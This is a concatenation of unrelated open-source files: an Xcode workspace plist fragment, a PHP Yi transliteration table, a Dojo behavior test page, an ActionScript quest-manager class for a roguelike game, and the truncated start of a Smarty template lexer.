<key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>154</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandFromGridViewCell.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>156</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ImageGridViewCell.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>158</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoViewController.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>160</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoAppDelegate.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>162</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoAppDelegate.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>164</integer> </dict> <dict> <key>CF$UID</key> <integer>165</integer> </dict> <dict> <key>CF$UID</key> <integer>166</integer> </dict> <dict> <key>CF$UID</key> <integer>167</integer> </dict> <dict> <key>CF$UID</key> <integer>168</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>169</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>168</integer> </dict> <dict> <key>CF$UID</key> <integer>170</integer> </dict> <dict> <key>CF$UID</key> <integer>171</integer> </dict> </array> </dict> <string>IDEOrderedWorkspaceTabControllers</string> <string>IDEUserWantsMiniDebuggingConsole</string> <string>IDEActiveWorkspaceTabController</string> <string>IDEWindowFrame</string> <string>IDEWorkspaceTabController_0</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>120</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>168</integer> </dict> </array> </dict> <string>{{190, 225}, {1331, 1122}}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>172</integer> </dict> <dict> <key>CF$UID</key> <integer>173</integer> </dict> <dict> <key>CF$UID</key> <integer>174</integer> </dict> <dict> <key>CF$UID</key> <integer>175</integer> </dict> <dict> <key>CF$UID</key> <integer>176</integer> </dict> <dict> <key>CF$UID</key> <integer>177</integer> </dict> <dict> <key>CF$UID</key> <integer>178</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>179</integer> </dict> <dict> <key>CF$UID</key> <integer>180</integer> </dict> <dict> <key>CF$UID</key> <integer>181</integer> </dict> <dict> <key>CF$UID</key> <integer>191</integer> </dict> <dict> <key>CF$UID</key> <integer>212</integer> </dict> <dict> <key>CF$UID</key> <integer>180</integer> </dict> <dict> <key>CF$UID</key> <integer>221</integer> </dict> </array> </dict> <string>IDETabLabel</string> <string>IDEShowNavigator</string> <string>IDEWorkspaceTabControllerUtilityAreaSplitView</string> <string>IDENavigatorArea</string> <string>IDEWorkspaceTabControllerDesignAreaSplitView</string> <string>IDEShowUtilities</string> <string>IDEEditorArea</string> <string>ExpandingGridViewController.m</string> <true/> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>182</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>183</integer> </dict> </array> </dict> <string>DVTSplitViewItems</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>184</integer> </dict> <dict> <key>CF$UID</key> <integer>189</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>187</integer> </dict> <dict> <key>CF$UID</key> <integer>188</integer> </dict> </array> </dict> <string>DVTIdentifier</string> <string>DVTViewMagnitude</string> <string></string> <real>919</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>187</integer> </dict> <dict> <key>CF$UID</key> <integer>190</integer> </dict> </array> </dict> <real>130</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>192</integer> </dict> <dict> <key>CF$UID</key> <integer>193</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>193</integer> </dict> <dict> <key>CF$UID</key> <integer>194</integer> </dict> </array> </dict> <string>SelectedNavigator</string> <string>Xcode.IDEKit.Navigator.Structure</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>195</integer> </dict> <dict> <key>CF$UID</key> <integer>196</integer> </dict> <dict> <key>CF$UID</key> <integer>197</integer> </dict> <dict> <key>CF$UID</key> <integer>198</integer> </dict> <dict> <key>CF$UID</key> <integer>199</integer> </dict> <dict> <key>CF$UID</key> <integer>200</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>201</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>208</integer> </dict> <dict> <key>CF$UID</key> <integer>211</integer> </dict> </array> </dict> <string>IDEUnsavedDocumentFilteringEnabled</string> <string>IDEExpandedItems</string> <string>IDESCMStatusFilteringEnabled</string> <string>IDERecentDocumentFilteringEnabled</string> <string>IDESelectedObjects</string> <string>IDEVisibleRect</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>202</integer> </dict> <dict> <key>CF$UID</key> <integer>204</integer> </dict> <dict> <key>CF$UID</key> <integer>206</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>203</integer> </dict> </array> </dict> <string>ExpanderDemo</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>203</integer> </dict> <dict> <key>CF$UID</key> <integer>205</integer> </dict> </array> </dict> <string>Classes</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>203</integer> </dict> <dict> <key>CF$UID</key> <integer>207</integer> </dict> </array> </dict> <string>Resources</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>209</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>203</integer> </dict> <dict> <key>CF$UID</key> <integer>205</integer> </dict> <dict> <key>CF$UID</key> <integer>210</integer> </dict> </array> </dict> <string>ExpandingGridViewController.m</string> <string>{{0, 0}, {259, 1005}}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>182</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>213</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>214</integer> </dict> <dict> <key>CF$UID</key> <integer>216</integer> </dict> <dict> <key>CF$UID</key> <integer>218</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>175</integer> </dict> <dict> <key>CF$UID</key> <integer>215</integer> </dict> </array> </dict> <real>260</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>178</integer> </dict> <dict> <key>CF$UID</key> <integer>217</integer> </dict> </array> </dict> <real>811</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>219</integer> </dict> <dict> <key>CF$UID</key> <integer>220</integer> </dict> </array> </dict> <string>IDEUtilitiesArea</string> <real>260</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>222</integer> </dict> <dict> <key>CF$UID</key> <integer>223</integer> </dict> <dict> <key>CF$UID</key> <integer>224</integer> </dict> <dict> <key>CF$UID</key> <integer>225</integer> </dict> <dict> <key>CF$UID</key> <integer>226</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>227</integer> </dict> <dict> <key>CF$UID</key> <integer>255</integer> </dict> <dict> <key>CF$UID</key> <integer>262</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>254</integer> </dict> </array> </dict> <string>IDEEditorMode_Standard</string> <string>IDEEditorArea_DebuggerSplitView</string> <string>IDEEDitorArea_DebugArea</string> <string>ShowDebuggerArea</string> <string>EditorMode</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>228</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>229</integer> </dict> </array> </dict> <string>EditorStates</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>228</integer> </dict> <dict> <key>CF$UID</key> <integer>230</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>231</integer> </dict> <dict> <key>CF$UID</key> <integer>254</integer> </dict> </array> </dict> <string>SelectedEditorState</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>232</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>233</integer> </dict> <dict> <key>CF$UID</key> <integer>234</integer> </dict> <dict> <key>CF$UID</key> <integer>235</integer> </dict> <dict> <key>CF$UID</key> <integer>236</integer> </dict> <dict> <key>CF$UID</key> <integer>237</integer> </dict> <dict> <key>CF$UID</key> <integer>238</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>239</integer> </dict> <dict> <key>CF$UID</key> <integer>243</integer> </dict> <dict> <key>CF$UID</key> <integer>249</integer> </dict> <dict> <key>CF$UID</key> <integer>251</integer> </dict> <dict> <key>CF$UID</key> <integer>252</integer> </dict> <dict> <key>CF$UID</key> <integer>253</integer> </dict> </array> </dict> <string>EditorState</string> <string>ArchivableRepresentation</string> <string>DocumentURL</string> <string>FileDataType</string> <string>DocumentExtensionIdentifier</string> <string>HistoryMenuDescription</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>57</integer> </dict> <dict> <key>CF$UID</key> <integer>58</integer> </dict> <dict> <key>CF$UID</key> <integer>59</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>240</integer> </dict> <dict> <key>CF$UID</key> <integer>241</integer> </dict> <dict> <key>CF$UID</key> <integer>242</integer> </dict> </array> </dict> <string>{3117, 0}</string> <real>303665105.94177699</real> <string>{1586, 1681}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>248</integer> </dict> <key>DocumentLocation</key> <dict> <key>CF$UID</key> <integer>247</integer> </dict> <key>DomainIdentifier</key> <dict> <key>CF$UID</key> <integer>244</integer> </dict> <key>IdentifierPath</key> <dict> <key>CF$UID</key> <integer>245</integer> </dict> </dict> <string>Xcode.IDENavigableItemDomain.WorkspaceStructure</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>120</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>210</integer> </dict> <dict> <key>CF$UID</key> <integer>205</integer> </dict> <dict> <key>CF$UID</key> <integer>246</integer> </dict> </array> </dict> <string>ExpanderDemo</string> <string>$null</string> <dict> <key>$classes</key> <array> <string>IDENavigableItemArchivableRepresentation</string> <string>NSObject</string> </array> <key>$classname</key> <string>IDENavigableItemArchivableRepresentation</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>250</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.m</string> <string>public.objective-c-source</string> <string>Xcode.IDEKit.EditorDocument.SourceCode</string> <string>-gridView:cellForItemAtIndex:</string> <integer>0</integer> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>182</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>256</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>257</integer> </dict> <dict> <key>CF$UID</key> <integer>259</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>187</integer> </dict> <dict> <key>CF$UID</key> <integer>258</integer> </dict> </array> </dict> <real>1049</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>260</integer> </dict> <dict> <key>CF$UID</key> <integer>261</integer> </dict> </array> </dict> <string>IDEDebuggerArea</string> <real>148</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>263</integer> </dict> <dict> <key>CF$UID</key> <integer>264</integer> </dict> <dict> <key>CF$UID</key> <integer>265</integer> </dict> <dict> <key>CF$UID</key> <integer>266</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>267</integer> </dict> <dict> <key>CF$UID</key> <integer>268</integer> </dict> <dict> <key>CF$UID</key> <integer>267</integer> </dict> <dict> <key>CF$UID</key> <integer>270</integer> </dict> </array> </dict> <string>LayoutFocusMode</string> <string>console</string> <string>LayoutMode</string> <string>variables</string> <integer>1</integer> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>269</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>254</integer> </dict> </array> </dict> <string>ConsoleFilterMode</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>271</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>272</integer> </dict> </array> </dict> <string>DBGVariablesViewFilterMode</string> <integer>2</integer> </array> <key>$top</key> <dict> <key>State</key> <dict> <key>CF$UID</key> <integer>1</integer> </dict> </dict> <key>$version</key> <integer>100000</integer> </dict> </plist>
{ "pile_set_name": "Github" }
<?php // $Id: xa4.php,v 1.1.8.1 2008/06/12 20:34:32 smk Exp $ return array( 'en' => array('qiet', 'qiex', 'qie', 'qiep', 'quot', 'quox', 'quo', 'quop', 'qot', 'qox', 'qo', 'qop', 'qut', 'qux', 'qu', 'qup', 'qurx', 'qur', 'qyt', 'qyx', 'qy', 'qyp', 'qyrx', 'qyr', 'jjit', 'jjix', 'jji', 'jjip', 'jjiet', 'jjiex', 'jjie', 'jjiep', 'jjuox', 'jjuo', 'jjuop', 'jjot', 'jjox', 'jjo', 'jjop', 'jjut', 'jjux', 'jju', 'jjup', 'jjurx', 'jjur', 'jjyt', 'jjyx', 'jjy', 'jjyp', 'njit', 'njix', 'nji', 'njip', 'njiet', 'njiex', 'njie', 'njiep', 'njuox', 'njuo', 'njot', 'njox', 'njo', 'njop', 'njux', 'nju', 'njup', 'njurx', 'njur', 'njyt', 'njyx', 'njy', 'njyp', 'njyrx', 'njyr', 'nyit', 'nyix', 'nyi', 'nyip', 'nyiet', 'nyiex', 'nyie', 'nyiep', 'nyuox', 'nyuo', 'nyuop', 'nyot', 'nyox', 'nyo', 'nyop', 'nyut', 'nyux', 'nyu', 'nyup', 'xit', 'xix', 'xi', 'xip', 'xiet', 'xiex', 'xie', 'xiep', 'xuox', 'xuo', 'xot', 'xox', 'xo', 'xop', 'xyt', 'xyx', 'xy', 'xyp', 'xyrx', 'xyr', 'yit', 'yix', 'yi', 'yip', 'yiet', 'yiex', 'yie', 'yiep', 'yuot', 'yuox', 'yuo', 'yuop', 'yot', 'yox', 'yo', 'yop', 'yut', 'yux', 'yu', 'yup', 'yurx', 'yur', 'yyt', 'yyx', 'yy', 'yyp', 'yyrx', 'yyr', NULL, NULL, NULL, 'Qot', 'Li', 'Kit', 'Nyip', 'Cyp', 'Ssi', 'Ggop', 'Gep', 'Mi', 'Hxit', 'Lyr', 'Bbut', 'Mop', 'Yo', 'Put', 'Hxuo', 'Tat', 'Ga', NULL, NULL, 'Ddur', 'Bur', 'Gguo', 'Nyop', 'Tu', 'Op', 'Jjut', 'Zot', 'Pyt', 'Hmo', 'Yit', 'Vur', 'Shy', 'Vep', 'Za', 'Jo', NULL, 'Jjy', 'Got', 'Jjie', 'Wo', 'Du', 'Shur', 'Lie', 'Cy', 'Cuop', 'Cip', 'Hxop', 'Shat', NULL, 'Shop', 'Che', 'Zziet', NULL, 'Ke', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL), );
{ "pile_set_name": "Github" }
<html> <head> <title>dojo.behavior Tests</title> <script type="text/javascript"> // Dojo configuration djConfig = { isDebug: true }; </script> <script type="text/javascript" src="../dojo.js"></script> <script type="text/javascript"> dojo.profile = null; dojo.require("dojo.profile"); dojo.require("dojo.behavior"); dojo.addOnLoad(function(){ dojo.behavior.add({ "border": function(elem){ with(elem.style){ border = "3px solid blue"; padding = "5px"; margin = "5px"; } }, "clickSet": { "onclick": function(evt){ alert("clicked!"); } }, "topicClickSet": { "onclick": "/foo/bar" }, "addNodesButton": { "onclick": function(evt){ var tNode = document.createElement("div"); tNode.id = "border"; document.body.appendChild(tNode); tNode.innerHTML = "this should get a border when you hit the re-apply button"; tNode = document.createElement("div"); tNode.id = "clickSet"; document.body.appendChild(tNode); tNode.innerHTML = "this will become clickable when you hit the re-apply button"; } }, "reApplyButton": { "onclick": { targetObj: dojo.behavior, targetFunc: "apply" } } }); dojo.event.topic.subscribe("/foo/bar", function(){ alert("event handled via the /foo/bar topic"); }); dojo.event.connect(dojo.behavior, "apply", function(){ dojo.profile.dump(true); }); }); </script> </head> <body> <span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span> <span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span> <span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span> <span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span> <span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span> <span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span> <span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span> <span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span> <div id="border"> this should be given a border </div> <div id="clickSet"> this should cause an alert when you click it </div> <div id="border"> this should be given a border </div> <div id="topicClickSet"> clicking here should dispatch an alert via a topic </div> </span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> </span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> </span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> </span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> </span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> </span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> </span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> </span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> <button id="addNodesButton">Add More Behavior Nodes</button> <button id="reApplyButton">Re-Apply The Behaviors</button> </body> </html>
{ "pile_set_name": "Github" }
package com.robotacid.ui.menu { import com.robotacid.ai.Brain; import com.robotacid.level.Map; import com.robotacid.engine.Character; import com.robotacid.engine.Item; import com.robotacid.ui.Dialog; /** * Lists and manages the quests the player is currently persuing. * * There are two types of quest: COLLECT and KILL * * @author Aaron Steed, robotacid.com */ public class QuestMenuList extends MenuList { public static var game:Game; private var menu:Menu; public function QuestMenuList(menu:Menu) { this.menu = menu; } public function createQuest(commissioner:String = "@"):void{ var i:int, subject:Character, targets:Vector.<Character>, option:QuestMenuOption; var type:int = game.random.coinFlip() ? QuestMenuOption.COLLECT : QuestMenuOption.KILL; if(type == QuestMenuOption.KILL){ targets = new Vector.<Character>(); // scrape the level for inactive monsters var r:int, c:int, tile:*, character:Character; for(r = 0; r < game.mapTileManager.height; r++){ for(c = 0; c < game.mapTileManager.width; c++){ tile = game.mapTileManager.mapLayers[Map.ENTITIES][r][c]; if(tile){ if(tile is Array){ for(i = 0; i < tile.length; i++){ if(tile[i] is Character){ character = tile[i] as Character; if( character && !character.questVictim && character.brain && character.brain.allegiance != Brain.PLAYER && character.characterNum != -1 ) targets.push(character); } } } else if(tile is Character){ character = tile as Character; if( character && !character.questVictim && character.brain && character.brain.allegiance != Brain.PLAYER && character.characterNum != -1 ) targets.push(character); } } } } // if we failed to get any, scrape the active monsters list if(targets.length == 0){ for(i = 0; i < game.entities.length; i++){ character = game.entities[i] as Character; if( character && !character.questVictim && character.brain && character.brain.allegiance != Brain.PLAYER && character.characterNum != -1 ) targets.push(character); } } // if the level is empty of monsters, change the quest to a COLLECT if(targets.length == 0){ type = QuestMenuOption.COLLECT; } else { subject = targets[game.random.rangeInt(targets.length)]; option = new QuestMenuOption(type, commissioner, subject); options.push(option); } } // quests need to fallback to COLLECT quests - do not refactor to else-if if(type == QuestMenuOption.COLLECT){ option = new QuestMenuOption(type, commissioner); options.push(option); game.content.dropQuestGems(option.num, game.mapTileManager.mapLayers, game.map.bitmap, true); game.map.completionCount += option.num; game.map.completionTotal += option.num; } game.gameMenu.loreList.questsOption.visited = false; if(!Game.dialog){ Game.dialog = new Dialog( "new quest", commissioner + " has issued you a new quest.\n" + option.name ); } } /* Queries the list of quests and tries to find a match for the conditions submitted */ public function questCheck(type:int, subject:Character = null):void{ var i:int = options.length, option:QuestMenuOption; while(i--){ option = options[i] as QuestMenuOption; if(option.type == type){ if(type == QuestMenuOption.COLLECT){ option.collect(); if(--game.map.completionCount == 0) game.levelComplete(); if(option.num == 0){ options.splice(i, 1); questComplete(option); } break; } else if(type == QuestMenuOption.KILL){ if(option.num == subject.characterNum){ options.splice(i, 1); questComplete(option); break; } } else if(type == QuestMenuOption.MACGUFFIN){ options.splice(i, 1); questComplete(option); break; } } } menu.update(); } /* Reports the completion of a quest and gives the player the experience reward */ public function questComplete(option:QuestMenuOption):void{ // menu may be sitting on this option, resolve if(menu.currentMenuList == this){ menu.stepLeft(); } selection = 0; menu.update(); var str:String; if(option.type == QuestMenuOption.COLLECT){ str = "collect quest completed"; } else if(option.type == QuestMenuOption.KILL){ str = "kill quest completed"; } else if(option.type == QuestMenuOption.MACGUFFIN){ str = "you have the amulet of yendor\nnow you must ascend"; var option:QuestMenuOption = new QuestMenuOption(QuestMenuOption.ASCEND); options.push(option); } game.console.print(str); game.player.addXP(option.xpReward); trace(option.xpReward); if(!Game.dialog){ var completionMsg:String = "\n@'s love for you is justified\n+xp"; if(option.commissioner == "rng"){ completionMsg = "\nrng is pleased with this pointless errand\n+xp"; } Game.dialog = new Dialog( "quest complete", str + completionMsg ); } } /* Called when the target of a quest is polymorphed */ public function updateName(character:Character):void{ var option:QuestMenuOption; for(var i:int = 0; i < options.length; i++){ option = options[i] as QuestMenuOption; if(option.num == character.characterNum){ option.name = "kill " + character.nameToString(); break; } } menu.update(); } public function reset():void{ options.length = 0; } public function loadFromArray(list:Array):void{ reset(); for(var i:int = 0; i < list.length; i++){ options.push(QuestMenuOption.fromXML(list[i])); } } public function saveToArray():Array{ var list:Array = []; for(var i:int = 0; i < options.length; i++){ list.push((options[i] as QuestMenuOption).toXML()); } return list; } } }
{ "pile_set_name": "Github" }
<?php /** * Smarty Internal Plugin Templatelexer * * This is the lexer to break the template source into tokens * @package Smarty * @subpackage Compiler * @author Uwe Tews */ /** * Smarty Internal Plugin Templatelexer */ class Smarty_Internal_Templatelexer { public $data; public $counter; public $token; public $value; public $node; public $line; public $taglineno; public $state = 1; public $strip = false; private $heredoc_id_stack = Array(); public $smarty_token_names = array ( // Text for parser error messages 'IDENTITY' => '===', 'NONEIDENTITY' => '!==', 'EQUALS' => '==', 'NOTEQUALS' => '!=', 'GREATEREQUAL' => '(>=,ge)', 'LESSEQUAL' => '(<=,le)', 'GREATERTHAN' => '(>,gt)', 'LESSTHAN' => '(<,lt)', 'MOD' => '(%,mod)', 'NOT' => '(!,not)', 'LAND' => '(&&,and)', 'LOR' => '(||,or)', 'LXOR' => 'xor', 'OPENP' => '(', 'CLOSEP' => ')', 'OPENB' => '[', 'CLOSEB' => ']', 'PTR' => '->', 'APTR' => '=>', 'EQUAL' => '=', 'NUMBER' => 'number', 'UNIMATH' => '+" , "-', 'MATH' => '*" , "/" , "%', 'INCDEC' => '++" , "--', 'SPACE' => ' ', 'DOLLAR' => '$', 'SEMICOLON' => ';', 'COLON' => ':', 'DOUBLECOLON' => '::', 'AT' => '@', 'HATCH' => '#', 'QUOTE' => '"', 'BACKTICK' => '`', 'VERT' => '|', 'DOT' => '.', 'COMMA' => '","', 'ANDSYM' => '"&"', 'QMARK' => '"?"', 'ID' => 'identifier', 'OTHER' => 'text', 'LINEBREAK' => 'newline', 'FAKEPHPSTARTTAG' => 'Fake PHP start tag', 'PHPSTARTTAG' => 'PHP start tag', 'PHPENDTAG' => 'PHP end tag', 'LITERALSTART' => 'Literal start', 'LITERALEND' => 'Literal end', 'LDELSLASH' => 'closing tag', 'COMMENT' => 'comment', 'AS' => 'as', 'TO' => 'to', ); function __construct($data,$compiler) { // $this->data = preg_replace("/(\r\n|\r|\n)/", "\n", $data); $this->data = $data; $this->counter = 0; $this->line = 1; $this->smarty = $compiler->smarty; $this->compiler = $compiler; $this->ldel = preg_quote($this->smarty->left_delimiter,'/'); $this->ldel_length = strlen($this->smarty->left_delimiter); $this->rdel = preg_quote($this->smarty->right_delimiter,'/'); $this->smarty_token_names['LDEL'] = $this->smarty->left_delimiter; $this->smarty_token_names['RDEL'] = $this->smarty->right_delimiter; $this->mbstring_overload = ini_get('mbstring.func_overload') & 2; } private $_yy_state = 1; private 